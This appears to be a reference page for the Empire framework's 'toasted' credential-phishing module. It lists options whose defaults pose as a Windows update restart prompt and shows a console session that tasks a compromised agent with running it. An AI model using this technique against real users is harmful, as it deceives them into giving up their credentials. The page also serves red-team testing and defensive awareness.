Invoke-CredentialPhisher - Empire Module


This page contains detailed information about how to use the powershell/collection/toasted Empire module. For list of all Empire modules, visit the Empire Module Library.

Module Overview


Name: Invoke-CredentialPhisher
Module: powershell/collection/toasted
Source code [1]: empire/server/modules/powershell/collection/toasted.yaml
Source code [2]: empire/server/data/module_source/collection/Invoke-CredentialPhisher.ps1
MITRE ATT&CK: T1141, T1514
Language: PowerShell
Needs admin: No
OPSEC safe: No
Background: No

The toasted module spawns a native toast notification that, if clicked, prompts the current user to enter their credentials into a native looking prompt. Notification stays on screen for ~25 seconds. Requires Windows >= 8.1/2012.

This module runs in a foreground and is OPSEC unsafe as it writes on the disk and therefore could be detected by AV/EDR running on the target system.

Note that the toasted module does not need administrative privileges to work properly which means that a normal user can run this module.

Required Module Options


This is a list of options that are required by the toasted module:

Agent
Agent to phish credentials from.

Application
Name of the application to claim launched the prompt (ie. "outlook", "explorer").
Default value: System Configuration.

CredBoxMessage
Message of the box prompting for credentials.
Default value: Authentication is required to reschedule a system restart.

CredBoxTitle
Title on the box prompting for credentials.
Default value: Are you sure you want to reschedule restarting your PC?.

ToastMessage
Message of toast notification box.
Default value: Windows will soon restart to complete applying recently installed updates. Use the drop down below to reschedule the restart for a later time..

ToastTitle
Title of toast notification box.
Default value: Windows will restart in 5 minutes to finish installing updates.

ToastType
Type of Toast notification ("System" or "Application").
Default value: System.

Additional Module Options


This is a list of additional options that are supported by the toasted module:

HideProcess
Switch. True/False to hide the window of the process we claim launched the prompt (default = false).

VerifyCreds
Switch. True/False to verify the creds a user provides, and prompt them again until they either click cancel or enter valid creds (default = false).

Toasted Example Usage


Here's an example of how to use the toasted module in the Empire client console:

[+] New agent Y4LHEV83 checked in
[*] Sending agent (stage 2) to Y4LHEV83 at 192.168.204.135
(empire usestager/windows/ducky) > usemodule powershell/collection/toasted

 Author       Powershell script by @foxit                                           
              Empire implementation by @Quickbreach                                 
 Background   False                                                                 
 Comments     https://www.fox-it.com/en/insights/blogs/blog/phishing-ask-and-ye-    
              shall-receive/                                                        
 Description  Spawns a native toast notification that, if clicked, prompts the      
              current user to enter their credentials into a native looking prompt. 
              Notification stays on screen for ~25 seconds. Requires Windows >=     
              8.1/2012                                                              
 Language     powershell                                                            
 Name         powershell/collection/toasted                                         
 NeedsAdmin   False                                                                 
 OpsecSafe    False                                                                 
 Techniques   http://attack.mitre.org/techniques/T1141                              
              http://attack.mitre.org/techniques/T1514                              


,Record Options--,-------------------------------------,----------,-------------------------------------,
| Name           | Value                               | Required | Description                         |
|----------------|-------------------------------------|----------|-------------------------------------|
| Agent          |                                     | True     | Agent to phish credentials from     |
|----------------|-------------------------------------|----------|-------------------------------------|
| Application    | System Configuration                | True     | Name of the application to claim    |
|                |                                     |          | launched the prompt (ie. "outlook", |
|                |                                     |          | "explorer")                         |
|----------------|-------------------------------------|----------|-------------------------------------|
| CredBoxMessage | Authentication is required to       | True     | Message of the box prompting for    |
|                | reschedule a system restart         |          | credentials                         |
|----------------|-------------------------------------|----------|-------------------------------------|
| CredBoxTitle   | Are you sure you want to reschedule | True     | Title on the box prompting for      |
|                | restarting your PC?                 |          | credentials                         |
|----------------|-------------------------------------|----------|-------------------------------------|
| HideProcess    |                                     | False    | Switch. True/False to hide the      |
|                |                                     |          | window of the process we claim      |
|                |                                     |          | launched the prompt (default =      |
|                |                                     |          | false)                              |
|----------------|-------------------------------------|----------|-------------------------------------|
| ToastMessage   | Windows will soon restart to        | True     | Message of toast notification box   |
|                | complete applying recently          |          |                                     |
|                | installed updates. Use the drop     |          |                                     |
|                | down below to reschedule the        |          |                                     |
|                | restart for a later time.           |          |                                     |
|----------------|-------------------------------------|----------|-------------------------------------|
| ToastTitle     | Windows will restart in 5 minutes   | True     | Title of toast notification box     |
|                | to finish installing updates        |          |                                     |
|----------------|-------------------------------------|----------|-------------------------------------|
| ToastType      | System                              | True     | Type of Toast notification          |
|                |                                     |          | ("System" or "Application")         |
|----------------|-------------------------------------|----------|-------------------------------------|
| VerifyCreds    |                                     | False    | Switch. True/False to verify the    |
|                |                                     |          | creds a user provides, and prompt   |
|                |                                     |          | them again until they either click  |
|                |                                     |          | cancel or enter valid creds         |
|                |                                     |          | (default = false)                   |
'----------------'-------------------------------------'----------'-------------------------------------'

(Empire: usemodule/powershell/collection/toasted) > set Agent Y4LHEV83
[*] Set Agent to Y4LHEV83
(Empire: usemodule/powershell/collection/toasted) > set Application System
[*] Set Application to System
(Empire: usemodule/powershell/collection/toasted) > set CredBoxMessage Authentication
[*] Set CredBoxMessage to Authentication
(Empire: usemodule/powershell/collection/toasted) > set CredBoxTitle Are
[*] Set CredBoxTitle to Are
(Empire: usemodule/powershell/collection/toasted) > set ToastMessage Windows
[*] Set ToastMessage to Windows
(Empire: usemodule/powershell/collection/toasted) > set ToastTitle Windows
[*] Set ToastTitle to Windows
(Empire: usemodule/powershell/collection/toasted) > set ToastType System
[*] Set ToastType to System
(Empire: usemodule/powershell/collection/toasted) > execute
[*] Tasked Y4LHEV83 to run Task 1
...

Now wait for the results to come.

Authors


  • Powershell script by @foxit
  • Empire implementation by @Quickbreach

References


See Also


Check also the following modules related to this module:

Version


This page has been created based on Empire version 4.1.3 (BC Security Fork).
Visit Empire Module Library for more modules.